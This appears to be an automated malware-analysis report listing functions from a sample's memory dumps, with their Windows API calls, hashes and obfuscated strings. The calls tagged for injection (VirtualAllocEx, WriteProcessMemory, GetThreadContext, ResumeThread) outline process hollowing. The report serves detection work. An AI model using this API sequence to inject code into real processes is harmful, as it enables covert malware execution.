
Download Yara Rule

Strings

csOrSfaRsnha ati tinrtnceirrE, xrefs: 08110B8C
ri\wdi\C, xrefs: 08101E0A
ocsOrSfaRsnha ati tinrtnceirrE, xrefs: 08110B9A
E.fsri\wdi\C, xrefs: 08110C80, 08110B70
sri\wdi\C, xrefs: 08105789
\wdi\C, xrefs: 08110C59, 08110B55
.fsri\wdi\C, xrefs: 08110C7D, 08110B6D

Memory Dump Source

Source File: 00000000.00000002.549953862.0000000008100000.00000040.00000001.sdmp, Offset: 08100000, based on PE: false

Similarity

API ID:
String ID: .fsri\wdi\C$E.fsri\wdi\C$\wdi\C$csOrSfaRsnha ati tinrtnceirrE$ocsOrSfaRsnha ati tinrtnceirrE$ri\wdi\C$sri\wdi\C
API String ID: 0-3794563638
Opcode ID: ee416f70529a744d5f37ac9af36f24d326581d609ad372524e3c754c82551534
Instruction ID: 3de4560b737e9ab89b411ff5897ae051cceeae7dfec24159ea699a4ec83a2dc1
Opcode Fuzzy Hash: ee416f70529a744d5f37ac9af36f24d326581d609ad372524e3c754c82551534
Instruction Fuzzy Hash: 0FB46134E11218CECB25CF04DA58998B7F2BF0534AF86D1EAD0195F262D372D989CF69

Uniqueness

Uniqueness Score: -1.00%

Function 022E0BA0, Relevance: 1.6, APIs: 1, Instructions: 50nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(?,?,?,?), ref: 022E0C08

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 4220affd760fd1d308408bbb786fe01ce8383b6a7055ebc17873c2e791bfb8d2
Instruction ID: 52f1030c7595d2de9f91339d52a7731161a3ef5b84f7cc31e226af619a9bef60
Opcode Fuzzy Hash: 4220affd760fd1d308408bbb786fe01ce8383b6a7055ebc17873c2e791bfb8d2
Instruction Fuzzy Hash: FD1116B19002089FDB10DF9AD944BDFFBF4EB48324F14841AE519A7250C774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 022E2750, Relevance: .9, Instructions: 917COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df0932b381b4f15a2175b763715cf324a8301c5e83f8000f70648d2c6c9024e8
Instruction ID: 239afc1f1b063998a802dcf8befeffdc38e8941aebd1302530473fb0f5cd1e92
Opcode Fuzzy Hash: df0932b381b4f15a2175b763715cf324a8301c5e83f8000f70648d2c6c9024e8
Instruction Fuzzy Hash: 7E727B70A10219CFDF14DFA9C844AAEBBB6FF88304F558169E806EB265DB34DD42DB50

Uniqueness

Uniqueness Score: -1.00%

Function 02372AB0, Relevance: 6.1, APIs: 4, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 02372B20
GetCurrentThread.KERNEL32 ref: 02372B5D
GetCurrentProcess.KERNEL32 ref: 02372B9A
GetCurrentThreadId.KERNEL32 ref: 02372BF3

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 96d8ec49bb293631c5d14f30774dba31c7eedcab502fb85745c2d8235b7fa505
Instruction ID: d003be7f49598698d34d71b33118f3dffed231aefdc8e5e9f085e1b3ae7f075a
Opcode Fuzzy Hash: 96d8ec49bb293631c5d14f30774dba31c7eedcab502fb85745c2d8235b7fa505
Instruction Fuzzy Hash: BA5166B4D003488FDB10DFA9D648BDEBBF0EF49314F2484AAE809A7650C7759844CF66

Uniqueness

Uniqueness Score: -1.00%

Function 02372AC0, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 02372B20
GetCurrentThread.KERNEL32 ref: 02372B5D
GetCurrentProcess.KERNEL32 ref: 02372B9A
GetCurrentThreadId.KERNEL32 ref: 02372BF3

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7c06673253251d9e9aee4a7d13a415ac6b3594b5e992cf79b5dc8dbe1158c86a
Instruction ID: 44fa1993aa77de7c6a17ba620882d0272868622fc45f1db26d7094d527d89d13
Opcode Fuzzy Hash: 7c06673253251d9e9aee4a7d13a415ac6b3594b5e992cf79b5dc8dbe1158c86a
Instruction Fuzzy Hash: 6B5154B4D002498FDB10DFA9D648BDEBBF4EF49314F20846AE809A7350D7749844CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0811DE30, Relevance: 3.1, Strings: 2, Instructions: 575COMMON

Download Yara Rule

Strings

}{ x.eope, xrefs: 0811E81F
\}{ x.eope, xrefs: 0811E81C

Memory Dump Source

Source File: 00000000.00000002.549953862.0000000008100000.00000040.00000001.sdmp, Offset: 08100000, based on PE: false

Similarity

API ID:
String ID: \}{ x.eope$}{ x.eope
API String ID: 0-203054122
Opcode ID: a57fdb75536f72c5f1238996adf3d80532a5344b5c75f1bf0b68c40de22fb1d5
Instruction ID: b608b74704ee848a644396d96ebbb7b0c1fbf2434576ab43af09081f396b13b0
Opcode Fuzzy Hash: a57fdb75536f72c5f1238996adf3d80532a5344b5c75f1bf0b68c40de22fb1d5
Instruction Fuzzy Hash: 6E22B214E2121089CF358F8082D899D2BF2FF46349B96A5AECC145F636E3B5C59CC76B

Uniqueness

Uniqueness Score: -1.00%

Function 0811DE20, Relevance: 3.1, Strings: 2, Instructions: 573COMMON

Download Yara Rule

Strings

}{ x.eope, xrefs: 0811E81F
\}{ x.eope, xrefs: 0811E81C

Memory Dump Source

Source File: 00000000.00000002.549953862.0000000008100000.00000040.00000001.sdmp, Offset: 08100000, based on PE: false

Similarity

API ID:
String ID: \}{ x.eope$}{ x.eope
API String ID: 0-203054122
Opcode ID: f5cbe5fc197c761bad0e1fee059049859e0cdfe7022e56f81fd4add9e033eec4
Instruction ID: 3b776f655c43e794fe7e82f644e435cec0ac13952fe539b93c9ffa046e827798
Opcode Fuzzy Hash: f5cbe5fc197c761bad0e1fee059049859e0cdfe7022e56f81fd4add9e033eec4
Instruction Fuzzy Hash: AE22A114E2121089CF358F8082D899D2BF2FF46349B95A5AECC145F636E3B5C19DC76B

Uniqueness

Uniqueness Score: -1.00%

Function 022E8DD4, Relevance: 1.7, APIs: 1, Instructions: 247processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 022E9016

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cbbb24c9a6b3d126551560362b4897e964b8c605f88cfdd1ef4fb3c88d8540af
Instruction ID: 4474ee95fac2cf31a139da9202e80d044c655b2c9e0bebcc6dd550354eb16005
Opcode Fuzzy Hash: cbbb24c9a6b3d126551560362b4897e964b8c605f88cfdd1ef4fb3c88d8540af
Instruction Fuzzy Hash: 6FA18E71D1021ACFDF10DFA8C8817EDBBB2BF44304F4485AAE849A7294DB749985DF92

Uniqueness

Uniqueness Score: -1.00%

Function 022E8DE0, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 022E9016

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 492b7032461bec93ddceb71e102b362b64a2598d6228051339c2860398de3fea
Instruction ID: 2d3cda9ac1f34ac00c6c51eb0366486850ca6df4a8e6f34a6c4c774940ede34c
Opcode Fuzzy Hash: 492b7032461bec93ddceb71e102b362b64a2598d6228051339c2860398de3fea
Instruction Fuzzy Hash: 0D918E71D1021ACFDF10DFA8C8817EDBBB2BF44304F4485AAE849A7294DB749985DF92

Uniqueness

Uniqueness Score: -1.00%

Function 0237BBF8, Relevance: 1.7, APIs: 1, Instructions: 202COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0237BE4E

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: fa01841bb5efa1fb428efe85cb4f2e827a6cc840912d70614da9494849e86898
Instruction ID: a7c8030cf4e22ea8237f08422aaf542089450335dede755d31cbcb1650a6fea6
Opcode Fuzzy Hash: fa01841bb5efa1fb428efe85cb4f2e827a6cc840912d70614da9494849e86898
Instruction Fuzzy Hash: 9C811570A00B058FDB34DF29D45579ABBF6BF88308F00892AD486D7A50DB79A806CF91

Uniqueness

Uniqueness Score: -1.00%

Function 022EA408, Relevance: 1.7, APIs: 1, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 84cc859afbd64b9b6207def0d17f0925ed61a7099b2e27461e286d2518461c49
Instruction ID: 7c10df72fc6e45de5fa646ba815da2af76e1af7461a16d08c1c33181b0d11fa4
Opcode Fuzzy Hash: 84cc859afbd64b9b6207def0d17f0925ed61a7099b2e27461e286d2518461c49
Instruction Fuzzy Hash: 3261ADB1D002488FDF04DFB8D4497DEBBB1EF8A324F448169E816AB395DB389845CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0237DCAC, Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0237DDCA

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5fa31c596e391474e82ceba90d0c6768e91628e56fee8b5da2a096b744742ff5
Instruction ID: 2c1c6a7fad476b8e3fb6a3c3cdf7b289cfb3ff19dd7cecfaa19d4841d01ace55
Opcode Fuzzy Hash: 5fa31c596e391474e82ceba90d0c6768e91628e56fee8b5da2a096b744742ff5
Instruction Fuzzy Hash: 2F51CEB1D003599FDF14CF99D884ADEBBB1BF48314F24822AE419AB250D774A886CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0237DCB8, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0237DDCA

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8430e511e7fdbf28474167f074a8ebb3f6227951bfdc7163dda61cb036862300
Instruction ID: 9e9f44abc2abbf6723fe581d4fe466530642dc1d2ec796fa71202aed90a2b66d
Opcode Fuzzy Hash: 8430e511e7fdbf28474167f074a8ebb3f6227951bfdc7163dda61cb036862300
Instruction Fuzzy Hash: 0841BDB1D00319DFDF14CF99D884ADEBBB5BF48314F24862AE819AB250D774A885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 022E834A, Relevance: 1.6, APIs: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 022E8306

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 423f6888ed91ec44023f139599a1c0ade19a4463e138f7c6c8a15f2fcba4f171
Instruction ID: e53e626ae7eeed4edf7cbd4c076b81e67d32ab416d54a873f96df68287356a99
Opcode Fuzzy Hash: 423f6888ed91ec44023f139599a1c0ade19a4463e138f7c6c8a15f2fcba4f171
Instruction Fuzzy Hash: A931EE71E143469FDF10EFA4D84079EBBF1EF85304F504829E806BB294DBB4A846DB82

Uniqueness

Uniqueness Score: -1.00%

Function 022E8552, Relevance: 1.6, APIs: 1, Instructions: 70injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 022E85E8

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1cc2b2bd0db4b55769616e5427b99290338445c2114d7978e4079dca0b231b74
Instruction ID: a8b68c3e20aecb37428db63968f29a0fec64626e92b379c546f8f2c75fff0028
Opcode Fuzzy Hash: 1cc2b2bd0db4b55769616e5427b99290338445c2114d7978e4079dca0b231b74
Instruction Fuzzy Hash: F42169B19003499FCF00DFA9C984BEEBBF1FF48314F40842AE919A7240DB789940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 022E8558, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 022E85E8

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1e1ba43a83cf4d618bcd2a32e3432a65f4d24edaf7e209a9795074c5d6769ec0
Instruction ID: 16d352071ab0b3b76cf68e5b69fae28d11a8db29ae9a943e05d6e83020558ee3
Opcode Fuzzy Hash: 1e1ba43a83cf4d618bcd2a32e3432a65f4d24edaf7e209a9795074c5d6769ec0
Instruction Fuzzy Hash: 8E2166B19003499FCF00CFA9C884BEEBBF5FF48314F40842AE919A7240CB789940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 022E8840, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 022E88C8

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 06e374303a077687ee2c2b7e4807314fa43a457eea0a997632e2f3991374eba4
Instruction ID: ea5608e6c85bd8260f480422bde561acb51d90ca71987c08e43fbda52953aaf1
Opcode Fuzzy Hash: 06e374303a077687ee2c2b7e4807314fa43a457eea0a997632e2f3991374eba4
Instruction Fuzzy Hash: 972136B1C002499FCF00DFA9C884BEEBBF5FF48314F44842AE919A7240D7789941CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 022E9200, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 022EA686

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 44d9b0308a4edfc458631d1eae68db24e7cf553fe171e69b4475dda9588a2167
Instruction ID: 2b1ef176fb3eb8a4fcc50d8e10aec4c9dc937ec03b7d4f7e8cf07dd07ba61f37
Opcode Fuzzy Hash: 44d9b0308a4edfc458631d1eae68db24e7cf553fe171e69b4475dda9588a2167
Instruction Fuzzy Hash: 782149B19002098FDF14CF9AC585BEEBBF4EB89324F54802AE519B7340D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 022E75B2, Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNEL32(?,00000000), ref: 022E7636

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 32093e4a1b5e7e7f66e8fd405ed1f81b0a80f806c4e56e80b0c522a09a53e1f5
Instruction ID: d3f51b1d074f9749595637d6ee55cf4891efcf36cd2498e4516d497053f758dd
Opcode Fuzzy Hash: 32093e4a1b5e7e7f66e8fd405ed1f81b0a80f806c4e56e80b0c522a09a53e1f5
Instruction Fuzzy Hash: 2A2135B1D003098FDB10DFAAC5857EEFBF4EF88228F54842AD519A7240DB789945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02372CE0, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02372D6F

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5e38f99c84e5e8ae24bddb562705079398d29fd8e4fcffa2c042594ce696ae7f
Instruction ID: 0c27d539af1d7670fa36bcdcba4189d5fb780a2d14412e1ddaee0b25ed4fd58d
Opcode Fuzzy Hash: 5e38f99c84e5e8ae24bddb562705079398d29fd8e4fcffa2c042594ce696ae7f
Instruction Fuzzy Hash: 5021E4B5D002499FDB10CFA9D984BEEBFF4EB48324F14852AE914A3350D378A945CF61

Uniqueness

Uniqueness Score: -1.00%

Function 022E8848, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 022E88C8

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: bc21f0af84542742c13a5da67e56e37f85b24e54550c64716e2af80435069a2b
Instruction ID: 80083fea7456bb9d45541926865e8d4c0e8359ef23e2886d9d9d479bb53b031f
Opcode Fuzzy Hash: bc21f0af84542742c13a5da67e56e37f85b24e54550c64716e2af80435069a2b
Instruction Fuzzy Hash: 882134B18003499FCF00DFAAC884BEEBBF5FF48314F40842AE919A7240C7789940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 022E75B8, Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNEL32(?,00000000), ref: 022E7636

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: ebfb3b73612fa4c1322842b8062d18e6d231bbe4c90207f8e01c2d440d8d9b36
Instruction ID: 6ab83feb4f40f29f31ada623bbbb4728bbab6e33db03913fc2ad791fa7daee30
Opcode Fuzzy Hash: ebfb3b73612fa4c1322842b8062d18e6d231bbe4c90207f8e01c2d440d8d9b36
Instruction Fuzzy Hash: FA2118B1D003098FDB10DFAAC4857EEFBF5EF48258F54842AD519A7240DB789945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 022EA601, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 022EA686

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 18c136a405af100bf3c0727056f543f3c09df54de2595dac1a49a5ff24a1304b
Instruction ID: 3dd9c7b26b7137396225030876ddc5069ac9f3f5c27d7020e782f873452e35f6
Opcode Fuzzy Hash: 18c136a405af100bf3c0727056f543f3c09df54de2595dac1a49a5ff24a1304b
Instruction Fuzzy Hash: BF2147B19002498FDF10CFAAD584BDEBBF4EB88314F14802AE519A7340D778A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02372CE8, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02372D6F

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f6cbf0faeee505cf3013a8f9ffda5ea39aa9327e5b30bf41079d55e0d3dc8934
Instruction ID: b81acfba264f90dc51c9872268181699e403470fe3080f8f5623c59fc126f56d
Opcode Fuzzy Hash: f6cbf0faeee505cf3013a8f9ffda5ea39aa9327e5b30bf41079d55e0d3dc8934
Instruction Fuzzy Hash: 8321C2B59002599FDB10CFA9D984BDEBBF8EB48324F14851AE914A7350D378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02378A49, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 02378ABD

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 78ee1cb2da5ff0575eb2dcfa0415f0142d16055013842ca395ecad4f89357a69
Instruction ID: b07d50ffb8c18f2b3a461cc5022b603b69ddafff858cf15140305611d0fe4957
Opcode Fuzzy Hash: 78ee1cb2da5ff0575eb2dcfa0415f0142d16055013842ca395ecad4f89357a69
Instruction Fuzzy Hash: 0B11D3B5C043948FEB11CFA4D4493EABFF4EB06318F04845AD444A7B82C7795645CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0237B068, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0237BEC9,00000800,00000000,00000000), ref: 0237C0DA

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f7245e4da0e9c6a4e1e78874519687f543fab84b93413360b0a8fd3de69d9b9b
Instruction ID: 16f1f2f1a4a5d5a70ed912c9ed08cfd25e07e127debe92f3197c61d658e954a2
Opcode Fuzzy Hash: f7245e4da0e9c6a4e1e78874519687f543fab84b93413360b0a8fd3de69d9b9b
Instruction Fuzzy Hash: F61103B69002098FDB20CF9AD844BDEFBF8AB48314F04852EE519A7600C779A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 022E8292, Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 022E8306

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c4e5533f5f99414269edde02cea5375a86c6655c8865af4df8ca92c425d8ea14
Instruction ID: eaa5d7721617a896175897a687b8b3552018556dd4d8cf24a0517024e941085a
Opcode Fuzzy Hash: c4e5533f5f99414269edde02cea5375a86c6655c8865af4df8ca92c425d8ea14
Instruction Fuzzy Hash: 5B1126B29002499FDF10DFA9D844BEFBFF5EB48324F14842AE519A7250C7759941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 022E8298, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 022E8306

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: adee49bdd48e00ab2ba9f71d2785e8f54429fade85b01963bd6fac827fe1390f
Instruction ID: 7301ca5ee5fc7f5ae02964885f25f4e21608de73902bc8416f3757c4b3a6b6d5
Opcode Fuzzy Hash: adee49bdd48e00ab2ba9f71d2785e8f54429fade85b01963bd6fac827fe1390f
Instruction Fuzzy Hash: 1C11F6719002499FDF10DFA9D844BEFBBF5AB48324F14842AE515A7250C7759944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0237C069, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0237BEC9,00000800,00000000,00000000), ref: 0237C0DA

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a2ea1c9233c9edd8e037e8a7186c1b5699857383e8d62f341407cd508ebbd7ab
Instruction ID: badda1a276044b9e04c48cbe49d0d7a995f7bb8f9983cdcbf49a86f536eacb7f
Opcode Fuzzy Hash: a2ea1c9233c9edd8e037e8a7186c1b5699857383e8d62f341407cd508ebbd7ab
Instruction Fuzzy Hash: 1D1114B69003498FDB20CF9AD844BDEFBF4AB88314F14852EE419A7600C779A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 022E97B8, Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,0000002D), ref: 022E9822

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5711cb594e09e53a31d363263980ad453633a717d939b7b81923e7a9195d6b66
Instruction ID: e1ae835f5a7f78e62f2cae3e821037ca9ca450839d363174588c8cff3841ff3a
Opcode Fuzzy Hash: 5711cb594e09e53a31d363263980ad453633a717d939b7b81923e7a9195d6b66
Instruction Fuzzy Hash: A61155B1D002488FDB10DFAAC4457EFBBF5EB88224F14842AD529A7250CB789980CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 022E97C0, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,0000002D), ref: 022E9822

Memory Dump Source

Source File: 00000000.00000002.400963924.00000000022E0000.00000040.00000001.sdmp, Offset: 022E0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 516b0fc8a3ebb0f2bf4db69ab630d5e0012f7d5f79efabc3d867b740b4d77940
Instruction ID: 4f39ec120a6ddebd7f5351c64fa91b1bab96232823eb4c9b8e29442c78d49e74
Opcode Fuzzy Hash: 516b0fc8a3ebb0f2bf4db69ab630d5e0012f7d5f79efabc3d867b740b4d77940
Instruction Fuzzy Hash: 891136B1D003498FDB10DFAAD4447EFFBF5EB88224F14842AD519A7240CB78A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0237BDE8, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0237BE4E

Memory Dump Source

Source File: 00000000.00000002.401480997.0000000002370000.00000040.00000001.sdmp, Offset: 02370000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 43e656c523ed78d22fa9cd06995703b47f4995de687bbd7bcdbd5717e3993c5b
Instruction ID: 1692ee87d0f9b14c0ba6451c075a1cfd45b6de7de9c6c69761504ae4f38fb3a3
Opcode Fuzzy Hash: 43e656c523ed78d22fa9cd06995703b47f4995de687bbd7bcdbd5717e3993c5b
Instruction Fuzzy Hash: 1011D2B5D002498FDB20CF9AD444BDEFBF5AB88728F14852AD519A7600D378A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0811E8E8, Relevance: .8, Instructions: 806COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.549953862.0000000008100000.00000040.00000001.sdmp, Offset: 08100000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2124691bc3106b6a89ee9979c54b1a0d0083725b55821959431c8a28a886a6f
Instruction ID: 0d2ba571cf200c0c2ad65c287ffc1638249400710097aaebd43a39f0c203cac2
Opcode Fuzzy Hash: a2124691bc3106b6a89ee9979c54b1a0d0083725b55821959431c8a28a886a6f
Instruction Fuzzy Hash: C562D71CD2174088EF74EF5886A885D26A2EE45349B71E19FC0354FA37E7B5818BC36B

Uniqueness

Uniqueness Score: -1.00%

Function 0811E8F8, Relevance: .8, Instructions: 788COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.549953862.0000000008100000.00000040.00000001.sdmp, Offset: 08100000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7e27e213ade89c3ca4ac90cf861e10ed8e37750cff277f2bdaae6e4c03395b
Instruction ID: d11784e4511abe71ce93d072e0dc48f80d94418969a85d88f03e47cd4ad88a7d
Opcode Fuzzy Hash: 2d7e27e213ade89c3ca4ac90cf861e10ed8e37750cff277f2bdaae6e4c03395b
Instruction Fuzzy Hash: A662D81CD2174088EF74EF5886A885D26A2EE45349B72E19FC0354FA36E7B5C18BC35B

Uniqueness

Uniqueness Score: -1.00%

Function 0811FD08, Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.549953862.0000000008100000.00000040.00000001.sdmp, Offset: 08100000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
